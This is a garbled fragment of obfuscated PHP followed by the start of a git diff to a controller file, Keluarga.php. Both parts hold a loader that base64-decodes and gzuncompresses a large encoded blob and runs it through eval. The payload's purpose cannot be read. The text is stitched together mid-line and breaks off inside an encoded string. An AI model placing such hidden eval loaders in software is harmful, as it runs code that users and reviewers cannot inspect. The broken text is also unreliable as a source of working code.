Ln9+huwfVTOo/EPYjfSl83AVOED5jzv6FXxJ9NDRh8uFz+Yd+Qfl+X2CnnHfC9CXPKcIfSyas5pe7JtO8rfVbUnbAgdXJ7yeZkfY/aLxUU5n6DPsKXa5nz7Rkxx14n266mxBI2238dPHovBPsqEg323Xb3+Sp4d5wwz28T8glmTUz/BbV0Wa57I+THscR/pW7ILFuGA03kD+Bvy98E8WwuzU7rwoR93wyBwEw+00FZT42Zd6HudY5kGmz/3zySDne/xiZlNWhR8+w/7v0o5LOZNCZ9jHKpXKezbFWjM826wGVu7zvO9p3zUIa2ZvlX4x7N2MtBnwJJ7nH6Xy8RB/gBydjB2Lo9Mjgu+O8d19D3w/tJuH+OdNO99crxT/stl+1JUCxS85DJAGEOq2NOV+Z7w7eKzW/NhQ3XVknM9PBg/tw9sfGDkrE0hV31+zoV9j2qdo7gnBh13U/jQjB8PxLuP8uGFfHWR9oSdlZEQnecP2QPum0Zhcy8HhbWsbTGfD+xayU8W9qsWOZ/LecC0zVlfl/K8kga0T1HmAcMx59Z0Om7uQafrfeCTxgvWjHhLWagCYimj4+1pu69FIiwYQKY8xGD6fILfsLs7jOEV9et0XCwllN+BnDCfXYlzZ5Q7U3Ls3qu0A0e51RK+/zAGz/IMlX2/015ZkcewS03lDP9P55sl+NT+juIks6Yn8BPJXVv5OomUzdO8sQF2TZRuXpPAarV6yxxbh82C3rruy1ASSJ+niTQDRmZ1bHm93Y03Jsxi+LwGdP+9tAZfNg7lrbL19AKfYmmb9pxnndkpnHKQowghizurircH+xFHNO9pyfMJGwVZgPy8C3tcfV63X/G8z3ztof8q4SuSjZyupBvZOEx3bqvXe5989XRTYjUHiHFZfs/qEk1XrKaDdMXtUl7N81gdIsa5b0tvrOYh7HgcZ0kM7yhdVodHtXSEX45plsYhPPfIYq8t1u1Dr1n74p7AXQ/xgzFepHnlVbpvxOLRPU9Z3CCkuW+sHTSknAb07P3htrV9AK54HM0b9KH8xRmZLdToFHwBzfWszczwDdVopHiQYxq+nuG8gv8Mx5zQzQwHZPbphvJNLMcAG+49nLNpba1gZ5ivpxzDUJ/rQ+ivosvawBRVWcPfmq5EZrVMexbJ+5l9DJX2ILoBxuoLF+PAMKv1SPdN2/Mz/VfQIKK6NV0w6/qO12iTb8r25k7SuHLPOZu7WXdjt+st1HpfnNRorAfmKwv2n+psF2Qn7TbVYeG3CXsy4/nynNYH4/coRoPM1DzvrqPfTGr6Nt2fnVsn+AcdiMyaSOv1KeZRU7vJMesYNHUDt5Pfv6uWq3xOcjPbHwd2VWEHWR5u79eVrutTDpL5tloAuyOv2VgF+hz6s5dS3g1jmZrohDccv91eXnPkmmwvJ/hX5pn+A3A2j4l4jmBZ8MP7nBPFllU1HPAhhK+ifU4oYO8EpPqIw3iK25wzeK3aXn7d/GmcOm5scj3zTvr+K8b+KzH2od/Riljvh/Jlp3UgXyva5L41yXKQlLOyYieqrJFkGKG4F1GWC7YvdlJmlPYkPM3jo76a5/qqjjE/srPq4xH2pFpp9JXzrbEp2J3INAXPJXuEmGIC/ATfAzq5IrAV4do1nZFi+0Xs3M3+e2Cv5gqxizc5ilne/alx49Ne/2X+mc5dkfxKxzK1z8kMynUAHG+6R76omFPh9BKcaH4iZ1vaS0uxlFespau2P3KKG9sZ7tSIPm8ux/47dtajS2du2BkkZktBO/CtAV7wOI9jUH6WhvCVHQZvJ3FZioufqM6n+74BDn5h7cViPOojThHh1/i+2/0wq0FlOfccw/ZUyIW2sfUmbPZg8TACTiUfeMtx6iNw6rk6kgvyyZijxuKFfR4y5SGfs3AyZvwI6xXy9/sYj/YgeU1RB768Q7liT5WbI01XDXxsVfDHuiy9jOd6F3/LY5Y/XPwZ3Fhl06vmJVLuDjoqAjsmXKa8bF/yeI/ktG4jhuq/Ur8MIxXPA4R6MiUbY2wpZmLnvD7EUUPpFfb+ddpuLTTTR79SWksGTFRtb2BX3Rfb0HdOTY7I/6Q5C+5vhjyHP8rvx5V+rwr7FnFmYV3AhqDTd6xpUJlPTaamRXJYxn+V+Tnf57W4lMcm/HIyx8p8A3tGvjznU/KXhRiT77FJs/RMGds/O9P3B3bunE/i+BO2fUnfT6iWpCdtnLp27AuGJ/cIi9ivcB6CzoEAz0b6ip0LFJs7h2RyWFjLfn+weD7gkDaYR73/Zpbys2zPj+VscE+k853kGwgbu2a/RC9as1NbvVw21ipg53k5LbI92SadI7KNdzqnB/kMAicprAEyjvWlfDrT96l93txGsHMlp/ZIs/wcxt9aHB9EdpedKYsmsBsn6qtzDGeqjA5Mdmrp+dWMZ5AB7rPxDJ1FNhlu2roUS7GYRmPxxgf9nMj/7Ncf2XJzN+W+KSIaT2t7fpK8BMBvwnNBPlgtCPGe6YbLz1dmPBy2fkv3fb3HmSRYtfcXqnuH74uL/D/bx+himq24TWVnRv1sr+kHaHbUzwdzYOs6NweqrXF781xvS3QWWa4A9KbzsIxH5Af53kYL8Sx7Nia/T/mpwpzPjvvBnLek77R/UbQHxXh32tNWNu8P86La+v24xbaX18ukY3/H/hnih/eA5y6z/TOKazsXnfeZmv1bZitrXnScr70IV/7ovo//YRx5Plak85dU39C4K8RZLA/bvjh3cxJ3cBypv2bzyzHUO52F9i3gQJ4bPchhGfCzPZ3194P4q6Imow+7018obV9+7vbhG7ifV7vjalsJ/Ezn1WhddLa3HDtpAWgEfKP18/vzSnuX10NpLy6dOW2XcFEhj9di+WHQMouL9zY+t+tprVwhLwZcBxtDOUEJfbI6iDN7Nw7VV8PGBsusDqwyLrowR5bVM5tUJ5jW7RTPi/0rdeeyPAD1e4ClGEbM8mtq4Jh6wPENxSX9WZqb2NuDizHqyfzs9/CV9iV8wpx/CW+L8XEFn//v53/brEYcdM1yMPnZU/Jl0Ds/3XcpxgLp+xioLv2iei7YQM1HbJTWc5VkOL4whqj0KfCx6Mcp1V+CzuDRMqsd+47zpJ3KOLtYe0f1dhPjnWGxCXt3iZbFCyfzwvuazlO1hnzuJ9v/iTo6zNUSJry2mGqBaJxsX4rF6gdncmJLFi44A/nuPxvwGb2HNXSEZH9NeMdJGoLbpVhJXmEu0Q/W2WRz/vM8ZfhsUK6dNBrQ9wHsErtXVaN2fB7345xoGkPnsRs/V0pxw2EckedDK85XQjedZu43IG91Fbqjtp91xHuJFw0EeaS3/X38p7D3bOiPYyHojeZ6B7r6ptw+bOn9Q3n8tfXSduV9/aO2Tsx9btWZYV5fWsyXnqzZq8gf0Rn2idlanMplHdbdTylvBxtJ+cVinWP6fV7n2Dp7nsK+4GxVWh/olGJEludkY5Vr4fmz2wvO1/G6vQMcznQM8e7qoF6fnl1eMldqC/0SsjMD5+Z68OyF/R/W4Z/rv/zsfevjsykcK9B5opzeaQ5ZsAyhfKYi5Gd5ptlZnhnp7+CidbCazaR1EU+nIb1jq0966DP7VnlWvPVh7efH62HPXjZ/ivVhA6Ysj+2cnX/p2XD19n3zJ5+e1s5+OH/+7Hf1X2fnYi6jDz9DcxF9ctvmVPI3fU/A3k5eRgtNdOr6+iJawOZDrxoTw8P3vN1l9MBPcoAvLhkjUusX9i/8YP/ChfKS1hNfor/ps4RBDcIM8uL8GJJ7ivenz/pk5/No3wrYuO1FuW44VeeUqr47WwOd5yo5fjrIJzJ8UXXm84M8JNtDmtRdzFvb3R3kJE/PgZ91tZISnixjnK7u0zsGjMRl735CvHUqj7wFf9Cf++L2tPk+d1Sqjzh8rwzfYzBrDNcVcmD754ABB+dy1/sxpwzT+eL+vNOPj/nG4oueHlfkRPNcvEH1fmW6pfng9MzNXnYP5158X0Zlfq30nhbwxw75Ptx3vHslk4lXlndh7wwqjvvR2Q6WYw0g98l0WPAX+bzQPh9zRHWr9F6Cdmn/vfRMla6qNdozlRnvXKMTnXjPC907erdLFXb66PxB4T0/9I7HXIdIXoR3H/NMaP9bY3t6PA9QoXcsfk3rBjM5LNWKUM6Y+UHoCttX3u8NB0trcKLex+zHZd61Pjp/8MrkNHFOnv2Cv2LvbirI5j4vTXbhjC4vWd97/UNbeRk9sHjf4XnDXVrrV87/1KaGXqcaOvYesFmDzv1QbLlj720DfWzgI4r1WBxq0L4P1YHKbyfju4hivG/fPv3+00///pfTfmO//57+9Y/fv6d5oe0lDf+WD/j3T/T/n/57P+z1vw18/fmR/zZwWbb+XhJmLlr/+P1/AbEICLc='; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXW1zoti2/j5V9z/Mh1PV51TfOwc0drc11R+CEYUkJoIC8mVKIEEjIBPfgr/+PmtvEFA0pmfOuXdOSY+TjrDf1uuz1t6L/vlnfv3tN1zfP8Wv02j5/OlX9mt6ff/kzaOX+f+M4/if7jxavs6D4Ol18c/bp2AexvPZb+PI9+fL8S/xJP65FYwXi19++eXTrz+lPf/8Xz9d/lz+nPvnJxK9n//E6/vBN58ssbkYmeLU7rS/f2Jf5dJ61pWqx/efL9flulyX6z/z+uSGhuBZ6krpGLWRuZmrcvPZSmZfudGE1eTm+rcLqS7X5bpcl+tyXa7Ldbku1+X6q12XdMblulyX63L9516fnPHi6cvVb96TO/eePv16ocjlulyX63Jdrsv1h67ymYmb/rzXmn77HT/9W1+4VVpzXwuDha1LsRPO/FEoR2NTXikdbeKGsy/F5wZ1KXCCnqpds9/Rz/XvityL3boWOKy9vXZDceLWZr7dMbYjXdp6tJ9tKb7XMZJRZLziO9GJNHGcSEvbFCdj+s684s/3C/225Y3TCV5HVi+muThTaevU0Udt6I9qzVk2X7sTJGPzLXYTCeOoMzyPeS/p+cXY6gVOhPZtrz9oSeb9ptj/ZII53IwtSRjp18n9zXVDaQn+/cv1W0+XbpyaOB2bjUCR1cCtNUU37AVKO1hhrbHXNYSx2Vwprcnc62qbh+m3tdM1lljfyq4t145lrMYW6Jc0VrbVX9/ydfl6R35V2qBXV5soN8rmfjDy79jYiqDIUoB5i44F+nRA/7aGcdu+1gki6stpSUOsb+qZy0k2rrudr+9qzY1tNmY21n0XBrPbEg3Bl9AjWmS0IhrF4xrxN/gyNq8WSrcXjGpyAr5EbigLY+t+oXSWgduRZ8Q/yMIGPzceePQEubAZ3xqgszTxOozO2xHo74TyisnKVMI9NVa6tB6Z6DHxWtLCMxtE73QeNL4dO50h/t58hYyATxqTG5ITzC/2WtdzZVaQAdB+rCvxXWsnPzPwDmO8TcZ1JkN8zaCtE0kTpaNifjLmRmsELUku8ZzSYXwvyGAjsuvGamTSWja+YxorrHPBaNMRiX4idGLOZbBJfYr8e43kHrKnim4toPEX6fqxDpnGFPEMjbEZmeB3t9cAXYgWnAd1Q3jwi3oE3TIha2EgjMyJSDoxJnnppPLS0aAHsjCy7jn9uhXPW3Gc8RptE489G2wxnsDXB96YbxMnlUe3RnIsbzC3Cei8oj5GkDVPl6Yj04vpd7djrDzcA98lt/NGsrMd65KKMSCj6oTxONnJSWMEeqZ0m0NGROhlgWbefEzjh16BXxXrMBsxe75D8uNN3Kn0alsayQi779CazAbN42BORXs1bBt6f9jo6oI8VNpvxmAm30GOHnRdautGT9bagYR7D0pLHWhDVdIEWR0M5Yc++tXa8oM5bE8hb0P00cd3t/2hqKKPB9gm+r1vDCEjbVXShwvfwFhDEeMZfR99GPjvIZWHoWaoA91QJaN1RXN6MIZv6hD0NNqyAb7Lg6HRpXnCJkk6bJJuYExdGmA8CfZVxhzvMeehPtTofgv90ZwgYcaDlmBehif1p6y/gdJe3veHQQ/zvsNzxlCQ7/rDK79vaJKR2SHBsPrDWO1nazEkY5C1p/nMYOGGDWnXTpeoz4dBEGA+mjycLSUd60S7e324lIbCzNeHDfWuKM9tkvse+OwFSut633f4fciE15ms3em1r4DGY1Pwhx2yn7CjXKYeSfa03C+gTW/tdsnee3PokTIyF36/Fmy8Tpvs9uZBv15yuzrE9030A7nVJR22ce1Z6otNMhL1YOM0jB2snen1fNzVBPeG7OibCDkUSTZh+/EzIF1bOaEh3CWzbE0vTl1qQFajcbf/77TnWPtbPKoZKxf+D/Ta+R2v7tXvQm/l6Q34XncN3Xgh3bCt+7VdlxZ34URwzI2vidK9Io+2qUxek76PE6I9Pp2J4HWlLfVn1wJh3DWmd2Fv7ehNxoOhELTvBDavgT7sM1rwfr71WuC5Z5FvlDeu/CY7kbF0xbfbkcns70qvGQvQc+PUluzew6b6efQdu8KSdH4J/a96tufUYAO6PTfvc/H1ph+LRJO+JW2strgGjligvzvbfIMfltZjgdmQNckI2c7CfCTwOnLq2mRgAk+Ym2N99Ykfnglbvl2w9eL7kLCB3fIj6NBAM0h3/OhWl749t6TgqRMIty3vwWE+Sg1G9T5sbS8hrAEb/gI+bskuOp23tVczZmoy+8pwWdhbwNdtocOgQ3PpwjdatXz+tjURaC5oK9kdMXaCJnBKQ3DD5sKB38T8qR/GUxc8JFlQWtoSdBMducn8AuM3Po/6dTSuGZvd2jCOSuvj+gh/r8IH3vtqtyeOguZ+H02l5b3uaJy4VeMK5J+z8fbGzfgXPTBMhntdCX4WMp5ck4+KQYfS2pQbwVdrOV3UlBfltlIInPHCdVt6tmqQYei7GxkvXsuPszk+ZWO2+Frhl+Fb+l8eguYzsCVhvMQze+DhbLcurifBtg86gbfTlGeFtWG9uH83aGBt8gw/l0xeWxOnOG+rxuVKTTa+WocMAEfaYjN91vNuBzseNDlWL/PDBsYcAYM6NeYnYSf8+e1g7nthM7avM3pkffCPGxqZHM7VrjYHxls+hoRxZKynufK6KuzGW+BO8zU9w+4c8LRjwy72OPbtaAH0O3Za/mxs9omvm/fmoQJDoQ3oQf3cR5a+u0fyNMn08S5x/bvpNfW7T+MZ4RMz8V6KsqGKAo0/gz9BHCB8HhXX9HJkDqCh2xmW59CFnNSaid29z+kUsefih5LMYG65DJfkm+S0YJ++PPD2B/1BPsiGzG5bWmy3Zv7j9htsxGTtid+Eeyw6l4N92hV0AOtm84ZfpLUy/nby+7e68Bl4NrFrw7lZnj/vk7B5xwDN1VhN2Nw/g8YFvRY+5+tc9qCTAmK5OfVrh0HiYjz6e4EWizK/2CdCbLAcGU3CcOJId/3HwZVfnCdokd7zOV0sdUv6ir8Dk4qTu+uSvno0ptdpSm6kTp7QhnhTGrdrx7blzlXooWMGq7uwMFa4s6erVH+iO/DTJmytf0j+iR/ArOoCvnbO/fShzI/NkX+b24YYsYnotUAzq/c8MuPJkwx5s2QR/p7sTbzfPpX72JabBb6Qvhz2CexEfmfvWXdfdlN5ItuoJU7tbUHxObOvO9tQuvc1t0OFT1cNgBITFlNYjBagkbHFGtC+Gd4WfFifYqxaUxgNue17eInrwEDz24LOqxxj7csOfTKdOdChClljH9CkPoZdsHU/Gpvac9HfgNfRo+4uDml6YvwQPEJ//WgGmYonwKfg+xX8/ak28sxu91hewJn6EXz+K8UtXsulmBvYUtvzV9dYn7r2ktmef9r/SLGNZ0fcD81BtyMyc4xfWD+wH2RaQIzaAB2bStib24TVw+aVMpVI54JHXSX6vIyCpYfvavDJoj0Q4PeuV6Bd4tRdrDGYKYhp1ERZP07dr8f4wccXjsxRau505+ADW25qM53p6QR4gDD61fy95+HTFp4pEn0m43ovJl8Lnw4Z3dNh+C74kDpwG8N90NOSXyF/xmN8xLTv0FhFLED5C8I3JWzyPg/Fs3nY0th6QHPov/sN8fYcvj181JWI+IB5I64ZzpVoMSv5wEhY2ZBhR1cWirw40InU7u94ahV8DOkL/PDhMxTPhZpod41XS5+Rv44gJy/A71t3K0xHkQYbqUZ3ZjOhnABir6nXuVq6NWEKuYs9zAsyZrDcSntnk6ePL2+I/TkOxv0Qa8RHDGxgauXl6ttdbfb5sdWcPGK8h9N60qy0W60929zpTUg/xy03hhyclmH+Wd8l0vaM54Bjl9uxfr0imXgEfh9DB+0XrD9RfO5vxPP5B7tJORBluvGBf/ZtPPepzH7At5T5C1uH51uHz1BsB/4B/y/hU0mv3WmB9sQvfxS6S8eU4QvI56mCMxW3kCO/wEOF53l2axKcGmw6sytk7+WFkvqIO8qJhl7g3YAGhM1DO3ZDYblbG/g71nMZskPEPGF7CTpM3Jq/dBKFeB8/vmzWI1rL9rTOFH34OzaR82qw+CEbZZugRcHWQ9cEJynb+YJ9/0Lfu5SbgB9/5PZ4STk0N7xvKlPCvpLkmGrstG3oxLd5xrNR5kcZ/qIxEEMkzJelernTI/jIXvDU2unlxOn2m8qM9cfzLIzviyK/Y8d0l6NakIxqb5AzqQ4ZEcbgVW8gbZ5ayueTPprFGNrORsNPvu7Z3dzeFu0q2ZV2DFsSbAk3w/fEzsxYeaYA7Gxj3kYwqI0qaeDWjKvTPvhgTjvffdeStoTf9mOqW07L+GGK+13QJHTP8sc7vQrlKck6+D2B3jfuW+/5812Mxkta2tkcG4UcxnF65ONRDMHpCmwsupR/n3J6Aw/9nuVjbgd/ls5Ix3M8LzHHC0PgwJ1s7mgfH7XbXeEUpmM+oODbRcdC7HeujFXqiLH0LOUjYwpc/mTgAxlYVCnLUVgtP2R3j/Alj3kHDcE2xQ14CR1AHDtNdbf1zWeYi2xGpK09S9pQDOZ1vIVVgw05Yh+8NHcO/zFBnJBAT06tMxlZXqonje0tMAL3XWRbvBfbXNJemsByFjVmQxiO3h+D3+d6X9Y1PGuKojv1vFN2FH7m1U7juVN+fKcr3d7cqXvPvZvrUq7m/diNYbV5CbPRnDvAs4iDoLOw0fYauCfLv+znIZ6HgjEYCsHjIMho5XkshuJ9fq2Y8y4HQ/69MlcRCWuO05pfaS7PupLTgvDz6XxXiDh+yfMJiA9vrrMYZ3LWmvLclliR2zqad0lzeh/LvRzmMNIcEOZ7c3a+5sM5G4ZPjEXE4jC5ubOJ9ynv9MyWzvL5aWZDdAbzL7Bni4N8YE4Xph9WLvMHOalCHuXZ4flm2KI32kN8zm04y6Ud5jM6QaiwPJv2PNKBGSjXVo1Vd2tk2K6FdRVp1cFaOpuT7Zj8Gc1J6g+J3qAx7AvwWSGPUZIDHgNSHqIHGe6zfEq2jqIeK5RPR5z1VJmPyGlezqEd5OnhB725DV3STS33kQmn3S72HwazAs6Zkz5ZtXYpv1SZF6H9yLC/y+UV+iiM2/9gfzxOov6gH0QzykfPOI8oXyIGhIthd4/55ojt25oybDDDjGlbnvPpp/eMWgAsF0zGbVkg3zOKDIHsqXLz7Z/A9lE5j8Y/iN1IX9Z9S4UPmPG8o1/Fn0wPGX24XPxg3pF/PJbbK+Qd870IccFzhtDLqjmn7cm2bSl/V9WesCF0cHHM52V+jNkvFhflfII+w5Zq69PtGzHFXUfar8bmAjTafIyfPBaDfZQJB0+8VvX6K3l2mDPMbBPzC1ZNTv0Et3VZrHkk58ewx11kbMgu2IQDjucN4G/I3wezbC3MThnCu37cC4PAS3zQQluOzatVoe9VjmUabP7cP5MMtj/iEzObNC/49h/2f5VyWMybEj7HOHRepbBvV6Axz7vBZmycOs/3HvNR+7Rm+lbhH0/aycCYAkvucPptLhN7+QPI2d7YuTwyOS747hzX0ffA+wundYh30rz30fGO+S+P7UvRWaDgOZcBwhhSxZ6uzPeEb+ZfvNoENtRQbTnXw73xc/vAxgdGztoUctWn51zY96jWOYp7YtBxO4YPzfhxT7x7Lx9eyFcXaU/YWRkI0Wn+kD3gvmkQNndyUFjLyhHz+cCulfxkYb9qnvO5nAdM25z0dSnPK2lA+xRlHjAcc2pNx+PmLnS63gM+aTxjzYi3lLkqIJYy2/6OtruzSIQFA8iUjxjMmI3wE3Z3izH8on4dj4ulhPI7kBPmsytx7pRyZ0qO3buVduAgt1rC9+/G4FmeobLvN9orK/IYdqmpnOD/8XyzBJ/a21KcZNWMBH4iuW0p30aRsn6cNdbAronSyc8ksLNa3UWOrcNmQW8971mXBNLncSJNgZHZObb8vN2VPyTMYk74GdDd99IKfFm7lLfK1tMNJhRLO7TnPG1Pj+GUvRxFCFnc2lW83duPOKB5V0uejtgoyALk503Y4erTuv2C5yfM1+77rxK+ItnI6Uq6kY3DdOemer13yTffsCR25gAxLsvv2R2i6ZKd6SBd8TqUV/N9dg4R49y1pFd25iFs+xxnSQzvKB12Do/O0hF+OaRZGofw3COLvTZY9wR6zdoX9wRuu4gfzOE8zSsv030jFo/ueMriBiHNfWPtoCHlNKBnb/c315t74IqHwaxBH8pfnJDZwhmdgi+guZ60mRm+oTMaKR7kmIavR59V8J/hmCO6meGAzD5dUb6J5Rhgw/37UzatpRXsDPP1lGPQjZmhQ38VQ9b6lqjKGn7XDCWyqmXat0neT+xjqLQH0QkwVk84GweG2VmPdN+0NTvRfwUNIjq3ZghW3djyM9rkm7K9uaM0rtxzzuZu1b3Y6/hztd4TRzUa6575yoL9p3O2c7KTTovOYeGnBXsy5fnynNZ743cpRoPM1Hz/tm1cjWrGJt2fndlH+AcdiKyaSOudUMyjpnaTY9YhaOoFXju/f1stV/mc5Ga2Pw7sqsIOsjzczq8rHW9COUjm22oB7I68YmMV6LPvzw7t285GrmBjFh/A1KLL7NiwgKk3qf1qn3UOCLy4GVE+vj6Mqs+5tCtlq5hPqcaJuX+GX9p4Vh+yJ635OZWjuZsDnMfzeMFsL345iT8NYOzxLnd/xWjD8yCUszmOn4/HBt4uP2XVKFZsRwdryOzx0ZihWl7JZxzDEefmXv4vceYfnXt6RqaARUm/3El6LuScmOHBEQrx3W4tjXVhPiVcvp+rOsEzyIIdu1HF+cM9zKJ2injhzPjoA7HOkZiK+fBTsVAaBxSxfxmbttqnsKmvTkf+vxTnVvmRgs1W/h/hXGA1xDcsj3ci9nDT8x0/lqd531ccx8KlPSeL7fMHmVwdw+h/Rcz678Cq3Ff8mbiUxRC7M+jwn2dh1MfkemaJPXkY2PgsIl3WhkO5qWtD/A78STr6MD1TLjsGfF2wyPbXjuaXfww3/skYkfJl/DxogW4V+xg92PveXGlN5KcO+u3yswPAetV877yt6Yw3xdVUD1PGdVoAmxbZltbL788q/V4+J+3ZozqNlh+l+Y/9dUXoZ/KRNVXvnaoxcBZ4XMJ/lfmd244M+yk3KA/P8Mvp87DsmWofe3pf6zCOo30INea1YizHebzv9+zcCZ/E8SdsO69fY3t18KFbTz70BcfPbhexX3FfTl7YsClUBwlb9mrVexuSycJadliQfNrRfU3Mw60tC/uJHMvi+6VTV59dqp+1mG8ANtZEt0wvWvN2LDbPGgt9CJC9lBbpPiPGGne1pcNrBuEP6Tzwrn9Ww8drQk/3jbYbWy/tXe7l2dn+7rGcc7ZHyetPGD7wFrYpUk0jnTM+sv+4w3BLN2B0INmJiK/jWs4zyAD32XjGo3pOwk2WJCKW2jLc36V4Q3unn9lJGWdnO+q9V+6bPF4vmfGTyYuxhM1pFGgr2LU3xnumG7W07jbloXLzLc3TX3+BL494HQ/8CPzXuX08nE0zkdlUrJlqS1d8H/xHaHbQz+k51Nm6Ts0hALYVnvRcb0t0ZjWoE6oxjVMewQ/y2Fi5QTy7O2/TfB4X53x63HfmTDWCwdo+PNeQ2Zu51xEXrD8LOMS6L4xbbFsRJ5R8rJRQfYUbXmXx9YfqfKDPzM9ndT7kS+gcgnJzTeecag4w5ZHaqtgV8vO1h3Ua5+DKM/dODvb739+bPxkrhrBVdTrLxc4JlXL4lXsFH8Id1wxHemYvm98OQ4HWVP8ajbIz1QzfTijPwfI9444M2039/SD+0v+C+a4WOxMLWmZxcV5rl9n1FLP7sFuwtRuKJ9L6czqHe9b5lRl0ZDI2N7vzK1V44cwcGWTojWKYZ35uqKJ+51+mO6fzAPSeDZKRp4LcgAdvHny1l8aOo5pyxEdV8mwLOX4h7Mr4X6i35ecWjZcsT5Dnut7I3kI22jGn/R4ONyHv8A3sbOeP5KfLdT1/Qfz+EfuQ54L/qG0o5uFu9WO5p/frUqF7E7IRt1m9CqvdpZhefv3gOcvzzl2kdQYcL1Fszs5PR4QtjmNxFvOW/C78rTiqe2s31LbZ3I+3Z++6gX5zP5lijDPpLofog9lL4K40nuU5GX6W9CBP4x3GzVIN+LpO8TCrBZ826OwX2bktq92H7DshcHj3Hh+N6nV4rXGS5zg/UmuczflP4CnDm2X+HZyLOcD2pfOB5+27VtUYHq0lPLtmkNc3pvWAgT6iOlOhJw3F/jyPuyRpmEjGgN53ITRkrTXzb5Pr7X3reql0djHgQmnzduX48aBtxHKtrLbzYA8jPXdaygO/MNvI6te1d+ob2Znrze310XMW5foVxHS2SfGE8Ll89o9/TzXvsGcRaHiyxsA8ox4CsQDb8yjhYVY3zMYqn+MP2bOLM2qyECMHr2pSPkPMdIzeL6OXz9DTs8fPHxbmSu+/Yu9Dys7Bn5hrVH72zP6ZDBOW4LUB7qn+957dnFFXWDhLmdtXljMGhlnu1Sn8zt7VUcve1XHFMPF566CaJNc/j6e8Jmic1QRNiR+U9z1rPfz8ZlLyF8fWw549b/4sVxzbHfa+p+jk/KPis41XqqX/wPzJpy+pVv6M+afPfqj/tHbmLPqwZ8+iTyG/Vc1f0lO5kJ86a64zz+qJzvQsWtQpP/dkynP8PW131hiJl7j7+OKcMdDuzP5bP9h/6zx5IV0cWf1z9Dd9lmFQfl78nTGsozU7s5PtuG7BH1h9ehfDbl+0qgao6jvK4TkCzyufqL3g+CmvI8nxYV6LU9WO5Qer2gF31zHvmZvkOI7nJE/WxYRj0y3ncUoYZxKMTC1wg0XE343oecfyny74g/4iq64JhRqO4jsfNrCJwHdeoZYEMbfcTPdIdjm93XOEAU/lXHdjwq4D0809c5adOf7hMSlHTO90G5/MiYuIua8O8l901iOt09nJ7tnvYKnAh8CDxfetHONj+RxIgY/Fuo3CuAXMM3Gq3n1COV/bpJhiVvAXe+8+2cXr9I5CjeoD99+DUphXla7yWgrGu64x2cUN+TzBK36Pv59jd76gGjvJDMudo3ug6VtQruHy7keYJ+X5lTY/y5Puox7oHa9v5O/6Kewr5GchjLwO5CFhdfdsnem7I4/IU8Br8Yo6+M57YEZMThfR8XoxeQp538lo8dxytldxvC31vcz0j/C5o255vH/Pz51QrdjX92ojMIcGxZZuQrkrok+DctWI9fg7V6EnLyx/dTS+iynG+/7p159++ve/fPY7+/n39Ld//PqR5oW25zT8Wz7g3z/R/z/9927Yy7/9e/nzI//2b1m2/l4SZi5a//j1fwFiKgSk'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Keluarga.php b/donjo-app/controllers/Keluarga.php index 3ee49a7ec..73487715d 100644 --- a/donjo-app/controllers/Keluarga.php +++ b/donjo-app/controllers/Keluarga.php @@ -240,7 +240,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtfVtzsli68H1X7f/QF1PVs6u/bwYwpl+rqy+CAYSoiSAHuZkSSEBFpKNR8dfv51mLowKat6e7vm926Mm8icJirWc959P68Ud6/e1fcP32U/y+iHZvP/1K/kyv337yNtFy83/ncfxPdxPt3jdh+Pq+/efTa/gxf/fn/4iD+Md+ON9u//GPf/z06w/piD/+1w9f//3v+e8HRJkf/43Xbxef/GSxve3MZBe2JPz2E/mowLabrhStf/vx6/q6vq6v6z/z+sldG4xnKR+yZHAz87BRxN6blax+oUwTuCZl1//6AtXX9XV9XV/X1/V1fV1f19f1df3/dn25M76ur+vr+rr+c6+fnPn29f7uX96ru/Fef/r1CyJf19f1dX1dX9fX9Yeuaq7D42Qz7i++/Q7/+k8+8yT3N766Dre2xsfOeuXP1mI0N8UPWVIDd726L9837fChE44V9YH8DeM8/C6L49jtqKFDnrf37poNXG7l25Jxmmn8ycN4tiX7nmQks8h4h89YJ1LZecLvbJMN5viZeUfvn5TGFcSDI4XvM2sc41ycBX9yOjAGp/szrrfK5mtLYTI3j7Gb8PAeZQX3w7x3eP92bo1DJ4LnBW8y7fPm6FAePwhgDo9zi2dm2kMyenzoyn3GHy0fjmONf3Q4djE3u6EsKqHL9Vh3PQ5lIfyAtcbewGDmZu9D7gcbb6Aenhff9s7A2MH6Pmxut3cs42NuAfyS7odtTfZPdF2+JonvsgDwGqiB/CgfRtOZPyTvlhlZ5EOYN+tYAB8J4C+o8F7BV6UwwrGcPq/D+haeuQuy97qnzX7I9Q622V3ZsO7hOlw9VWAI+7L2EBYZrBBG8ZzD/Q3v5+bdVh6MwxknJrAvkbsWmbk12srSLnQlcYX7B7hwgH8PHuzRK+CFTfatC3DmA08icD7NAP7OWvwguLLg4Tsllge4HhHhEXh9fuuZXYR3Og98vx07kg6/994BR2CfVII3iCcwv9jrP2zkVQkHAPZzTY6H/Rx/VrB38I5jMO8QHKJrBtg6ER/IkgLzE2FuuEaAJeIl3CdLZN9LONiN7I7xMTNxLQffMY0PWOeWwEZiEX4s0MSG4mAPx2Tp5yriPeCewrpciO/fpuuHdYj4ThbuwXccZibs92DcBbggLOgedAzm2S/TEdCWCbi2DpmZGbBIE3PEFynFF0kFOhCZmTWi8BvU3G/FcbbX8GzikXvDE7yPoeuDvTGPgZPio8shHosHmFsAcP7AMWaAa57GL2amF+PfrmR8ePAd7DvvSkfEndNc4xV4B+CoEpA9TnI86c4AnincNoAjLNBlCWbeZo7vX3ul/apZh9mNyf0S4o8XuAv+3bZUxBHyvYNrMrs4j4s5lfmVLhjaRO8ONEbUZeFoTFfiEPDoWdN4QTPGoiqEPHz3LPeVqaorvMqIylQXnycwriqIz6YuLADfdBhjAp89TXRWgTGegTfh3xNDBxwRFF7Tt74B79JZeJ8x8WEMA/73nOKDrhrKVDMU3ujf4ZyeDf2o6ABPQxAN2HdxqhsDnCfwJF4DnqQZ8E6Nn8L7eOCvIsxxBHPWNV3F7/swHs4JMMx4VhOYl+HxkwUZbyoLu9FED8cw7yHcZ+iMOJzod/7EUHkj40OMYU30WJlkazF4Y5o9j/NZAYfTu3z+nM